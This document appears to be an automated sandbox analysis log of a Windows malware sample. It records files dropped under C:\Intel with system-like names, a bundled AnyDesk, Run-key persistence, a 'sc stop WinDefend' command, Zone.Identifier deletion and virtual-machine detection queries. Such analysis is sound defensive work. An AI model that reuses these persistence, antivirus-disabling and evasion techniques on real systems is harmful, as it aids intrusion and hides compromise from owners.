Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC8B0 pushfd ; retn 0040h	0_3_020AC8B1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC8B0 pushfd ; retn 0040h	0_3_020AC8B1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020A8294 pushfd ; retn 0040h	0_3_020A8295
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020A618C pushfd ; retn 0040h	0_3_020A618D
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020A60A2 pushad ; ret	0_3_020A60B1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_0209394F pushfd ; ret	0_3_02093965
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC648 pushfd ; retn 0040h	0_3_020AC649
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC648 pushfd ; retn 0040h	0_3_020AC649
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACF40 push eax; iretd	0_3_020ACF41
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACF40 push eax; iretd	0_3_020ACF41
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACDB8 push eax; iretd	0_3_020ACDED
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020ACDB8 push eax; iretd	0_3_020ACDED
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC8B0 pushfd ; retn 0040h	0_3_020AC8B1
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Code function: 0_3_020AC8B0 pushfd ; retn 0040h	0_3_020AC8B1
Source: C:\Intel\curl.exe	Code function: 52_2_009901E0 push ecx; mov dword ptr [esp], ecx	52_2_009901E1
Source: C:\Intel\curl.exe	Code function: 52_2_009B42B0 push ecx; mov dword ptr [esp], edx	52_2_009B42B1
Source: C:\Intel\curl.exe	Code function: 52_2_00990250 push ecx; mov dword ptr [esp], ecx	52_2_00990251
Source: C:\Intel\curl.exe	Code function: 52_2_009C4750 push ecx; mov dword ptr [esp], ecx	52_2_009C4751
Source: C:\Intel\curl.exe	Code function: 52_2_009E6F40 push ecx; mov dword ptr [esp], edx	52_2_009E6F41
Source: C:\Intel\curl.exe	Code function: 52_2_009F7400 push ecx; mov dword ptr [esp], ecx	52_2_009F7401
Source: C:\Intel\curl.exe	Code function: 52_2_009FF620 push ecx; mov dword ptr [esp], ecx	52_2_009FF621
Source: C:\Intel\curl.exe	Code function: 52_2_009C7980 push ecx; mov dword ptr [esp], ecx	52_2_009C7981
Source: C:\Intel\curl.exe	Code function: 52_2_009C9D50 push ecx; mov dword ptr [esp], ecx	52_2_009C9D51
Source: C:\Intel\curl.exe	Code function: 52_2_00A27F05 push ecx; ret	52_2_00A27F18
Source: C:\Intel\driver.exe	Code function: 58_2_0040106C push 00000BADh; ret	58_2_00401078

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Intel\curl.exe

File created: C:\Intel\svchost.exe

Jump to dropped file

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\unins000.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\Trays.exe	Jump to dropped file
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	File created: C:\Intel\curl.exe	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\driver.exe	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\blat.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\ShellEh6055.dll	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\ShellEh6055x64.dll	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\dc.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\4t-min64.exe	Jump to dropped file
Source: C:\Intel\svchost.exe	File created: C:\Intel\AnyDesk\AnyDesk.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\7z.dll	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\delReg.exe	Jump to dropped file
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\Tray.dll	Jump to dropped file
Source: C:\Intel\curl.exe	File created: C:\Intel\svchost.exe	Jump to dropped file

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\license.txt
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\readme.txt

Source: C:\Windows\System32\svchost.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W32Time\Config

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Video Configurations			Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Video Configurations			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop WinDefend

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Intel\svchost.exe	File opened: C:\Intel\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes \| delete
Source: C:\Intel\AnyDesk\AnyDesk.exe	File opened: C:\Intel\AnyDesk\AnyDesk.exe:Zone.Identifier read attributes \| delete

Source: C:\Intel\curl.exe

Code function: 52_2_009BB6D0 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

52_2_009BB6D0

Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\eqRHH2whJu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\driver.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\Trays\Trays.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Intel\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\AnyDesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Intel\dc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Intel\curl.exe

Stalling execution: Execution stalls by calling Sleep

graph_52-119500

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_DiskDrive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT MACAddress FROM Win32_NetworkAdapter WHERE PhysicalAdapter = TRUE

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_PhysicalMemory

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477

Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\unins000.exe	Jump to dropped file
Source: C:\Intel\curl.exe	Dropped PE file which has not been started: C:\Intel\blat.exe	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\ShellEh6055.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\ShellEh6055x64.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\7z.dll	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\delReg.exe	Jump to dropped file
Source: C:\Intel\driver.exe	Dropped PE file which has not been started: C:\Intel\Trays\Tray.dll	Jump to dropped file

Source: C:\Intel\curl.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_52-117321

Source: C:\Windows\System32\svchost.exe TID: 7556	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Intel\svchost.exe TID: 4512	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\svchost.exe TID: 1032	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\svchost.exe TID: 8680	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Intel\svchost.exe TID: 8276	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\svchost.exe TID: 5864	Thread sleep time: -30000s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 6652	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 5664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 8844	Thread sleep time: -30000s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 3988	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 6652	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 4212	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 1200	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 5204	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Intel\AnyDesk\AnyDesk.exe TID: 5188	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\Intel\AnyDesk\AnyDesk.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PING.EXE	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\Windows\System32 FullSizeInformation

Source: C:\Intel\curl.exe	Code function: 52_2_00A2CD06 _wcspbrk,__getdrive,FindFirstFileExW,_wcspbrk,__wfullpath_helper,_IsRootUNCName,GetDriveTypeW,_free,___loctotime64_t,_free,__sopen_s,__fstat64,__close,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,GetLastError,__dosmaperr,FindClose,	52_2_00A2CD06
Source: C:\Intel\curl.exe	Code function: 52_2_00A2FCDD _wcspbrk,__getdrive,FindFirstFileExW,_wcspbrk,__wfullpath_helper,_IsRootUNCName,GetDriveTypeW,_free,___loctotime64_t,_free,__sopen_s,__fstat64i32,__close,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,GetLastError,__dosmaperr,FindClose,	52_2_00A2FCDD
Source: C:\Intel\driver.exe	Code function: 58_2_0040F8BC FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError,	58_2_0040F8BC
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_045C4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	59_2_045C4400
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_00407C0E FindFirstFileA,	59_2_00407C0E
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_0040DB44 FindFirstFileA,	59_2_0040DB44
Source: C:\Intel\Trays\Trays.exe	Code function: 59_2_0040DDDC FindFirstFileA,	59_2_0040DDDC
Source: C:\Intel\svchost.exe	Code function: 60_2_021D4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	60_2_021D4400
Source: C:\Intel\svchost.exe	Code function: 62_2_021D4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	62_2_021D4400
Source: C:\Intel\svchost.exe	Code function: 63_2_021D4400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	63_2_021D4400

Source: C:\Intel\Trays\Trays.exe

Code function: 59_2_00407D0E GetLogicalDriveStringsA,

59_2_00407D0E

Source: C:\Intel\Trays\Trays.exe

Code function: 59_2_00407D5E GetSystemInfo,

59_2_00407D5E

Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\svchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477
Source: C:\Intel\AnyDesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000027.00000002.2494317696.0000018D43E4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000002.2494033963.0000018D43E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000002.2494033963.0000018D43E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 00000027.00000002.2494734389.0000018D43E7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: curl.exe, 00000035.00000003.1428531193.0000000001154000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000035.00000003.1428616970.000000000115F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll$$'8
Source: svchost.exe, 0000000B.00000002.2500594972.000001E809E5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2495979615.000001E80462B000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2492534463.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000027.00000002.2493322418.0000018D43E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000027.00000002.2494734389.0000018D43E64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: svchost.exe, 00000027.00000002.2494734389.0000018D43E64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000`
Source: svchost.exe, 00000027.00000002.2495346094.0000018D43F02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000002.2494734389.0000018D43E64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000es
Source: svchost.exe, 00000027.00000002.2494317696.0000018D43E5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001C.00000002.2492145739.000001D969031000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000034.00000003.1413200602.0000000000F3F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000034.00000003.1413316846.0000000000F48000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000003.1500575023.0000000000B46000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000003.1500628699.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525610996.000000000107F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525545833.0000000001075000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525522913.0000000001069000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003E.00000003.1577189879.0000000001E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000036.00000003.1477800884.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000036.00000003.1477615619.0000000000E66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllee
Source: curl.exe, 00000038.00000003.1509632669.000000000111F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll""

Source: C:\Intel\curl.exe	API call chain: ExitProcess graph end node	graph_52-117323
Source: C:\Intel\Trays\Trays.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\Trays\Trays.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node
Source: C:\Intel\svchost.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Intel\curl.exe

Code function: 52_2_00A30FB6 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

52_2_00A30FB6

Source: C:\Intel\curl.exe

52_2_00A30FB6

Source: C:\Intel\curl.exe

Code function: 52_2_00941CE0 _memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,VerifyVersionInfoA,VerifyVersionInfoA,LoadLibraryA,GetProcAddress,

52_2_00941CE0

Source: C:\Intel\curl.exe

Code function: 52_2_00A38705 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

52_2_00A38705

Source: C:\Intel\dc.exe

